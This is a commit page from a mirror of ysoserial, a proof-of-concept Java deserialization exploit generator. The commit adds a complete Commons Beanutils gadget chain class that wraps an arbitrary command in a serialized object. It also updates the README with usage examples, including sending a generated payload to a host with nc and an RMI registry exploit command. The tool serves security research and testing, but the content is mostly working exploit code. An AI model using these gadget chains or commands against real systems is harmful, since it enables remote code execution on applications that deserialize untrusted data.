archive/ysoserial
1
0
Fork 0
mirror of https://github.com/frohoff/ysoserial.git synced 2026-09-27 01:11:53 +08:00
Code Issues Packages Projects Releases Wiki Activity

added beanutils gadget chain, release 0.0.4

Browse Source
This commit is contained in:
Chris Frohoff
2016-02-24 14:26:00 -08:00
parent 2c79998485
commit 87c91b27a0
3 changed files with 128 additions and 83 deletions
Download Patch File Download Diff File Expand all files Collapse all files
README.md
+78 -77
View File
@@ -1,77 +1,78 @@
# ysoserial # ysoserial
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
![](https://github.com/frohoff/ysoserial/blob/master/ysoserial.png) ![](https://github.com/frohoff/ysoserial/blob/master/ysoserial.png)
## Description ## Description
Released as part of AppSecCali 2015 Talk ["Marshalling Pickles: how deserializing objects will ruin your day"](http://frohoff.github.io/appseccali-marshalling-pickles/). Released as part of AppSecCali 2015 Talk ["Marshalling Pickles: how deserializing objects will ruin your day"](http://frohoff.github.io/appseccali-marshalling-pickles/) with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x).
Updated to include a [JRE <= 1.7u21 gadget chain](https://gist.github.com/frohoff/24af7913611f8406eaf3). Later updated to include additional gadget chains for [JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and [Apache Commons Beanutils](https://gist.github.com/frohoff/9eb8811761ff989b3ac0).
__ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java __ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java
libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of objects. libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of objects.
The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then
serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes
this data, the chain will automatically be invoked and cause the command to be executed on the application host. this data, the chain will automatically be invoked and cause the command to be executed on the application host.
It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having
gadgets on the classpath. gadgets on the classpath.
## Disclaimer ## Disclaimer
This software has been created purely for the purposes of academic research and This software has been created purely for the purposes of academic research and
for the development of effective defensive techniques, and is not intended to be for the development of effective defensive techniques, and is not intended to be
used to attack systems except where explicitly authorized. Project maintainers used to attack systems except where explicitly authorized. Project maintainers
are not responsible or liable for misuse of the software. Use responsibly. are not responsible or liable for misuse of the software. Use responsibly.
## Usage ## Usage
```shell ```shell
$ java -jar ysoserial-0.0.3-all.jar $ java -jar target/ysoserial-0.0.4-all.jar
Y SO SERIAL? Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]' Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'
Available payload types: Available payload types:
CommonsCollections1 [commons-collections:commons-collections:3.1] CommonsBeanutilsCollectionsLogging1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2]
CommonsCollections2 [org.apache.commons:commons-collections4:4.0] CommonsCollections1 [commons-collections:commons-collections:3.1]
CommonsCollections3 [commons-collections:commons-collections:3.1] CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
CommonsCollections4 [org.apache.commons:commons-collections4:4.0] CommonsCollections3 [commons-collections:commons-collections:3.1]
Groovy1 [org.codehaus.groovy:groovy:2.3.9] CommonsCollections4 [org.apache.commons:commons-collections4:4.0]
Jdk7u21 [] Groovy1 [org.codehaus.groovy:groovy:2.3.9]
Spring1 [org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-beans:4.1.4.RELEASE] Jdk7u21 []
``` Spring1 [org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-beans:4.1.4.RELEASE]
```
## Examples
## Examples
```shell
$ java -jar ysoserial-0.0.3-all.jar CommonsCollections1 calc.exe | xxd ```shell
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl $ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 calc.exe | xxd
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A 0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat 0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
... 0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov ...
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride.......... 0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov
0000570: 0078 7071 007e 003a .xpq.~.: 0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
0000570: 0078 7071 007e 003a .xpq.~.:
$ java -jar ysoserial-0.0.3-all.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 < groovypayload.bin $ java -jar ysoserial-0.0.4-all.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 < groovypayload.bin
$ java -cp ysoserial-0.0.3-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
``` $ java -cp ysoserial-0.0.4-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
```
## Installation
## Installation
1. Download the latest jar from the "releases" section.
1. Download the latest jar from the "releases" section.
## Code Status
## Code Status
[![Build Status](https://travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial)
[![Build Status](https://travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial)
## Contributing
## Contributing
1. Fork it
2. Create your feature branch (`git checkout -b my-new-feature`) 1. Fork it
3. Commit your changes (`git commit -am 'Add some feature'`) 2. Create your feature branch (`git checkout -b my-new-feature`)
4. Push to the branch (`git push origin my-new-feature`) 3. Commit your changes (`git commit -am 'Add some feature'`)
5. Create new Pull Request 4. Push to the branch (`git push origin my-new-feature`)
5. Create new Pull Request
pom.xml
+6 -6
View File
@@ -4,7 +4,7 @@
<groupId>ysoserial</groupId> <groupId>ysoserial</groupId>
<artifactId>ysoserial</artifactId> <artifactId>ysoserial</artifactId>
<version>0.0.3-SNAPSHOT</version> <version>0.0.4</version>
<packaging>jar</packaging> <packaging>jar</packaging>
<name>ysoserial</name> <name>ysoserial</name>
@@ -101,16 +101,16 @@
<artifactId>commons-collections</artifactId> <artifactId>commons-collections</artifactId>
<version>3.1</version> <version>3.1</version>
</dependency> </dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<dependency> <dependency>
<groupId>org.apache.commons</groupId> <groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId> <artifactId>commons-collections4</artifactId>
<version>4.0</version> <version>4.0</version>
</dependency> </dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
<version>3.1</version>
</dependency>
<dependency> <dependency>
<groupId>org.codehaus.groovy</groupId> <groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId> <artifactId>groovy</artifactId>
src/main/java/ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java
Executable
+44
View File
@@ -0,0 +1,44 @@
package ysoserial.payloads;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutilsCollectionsLogging1.class, args);
}
}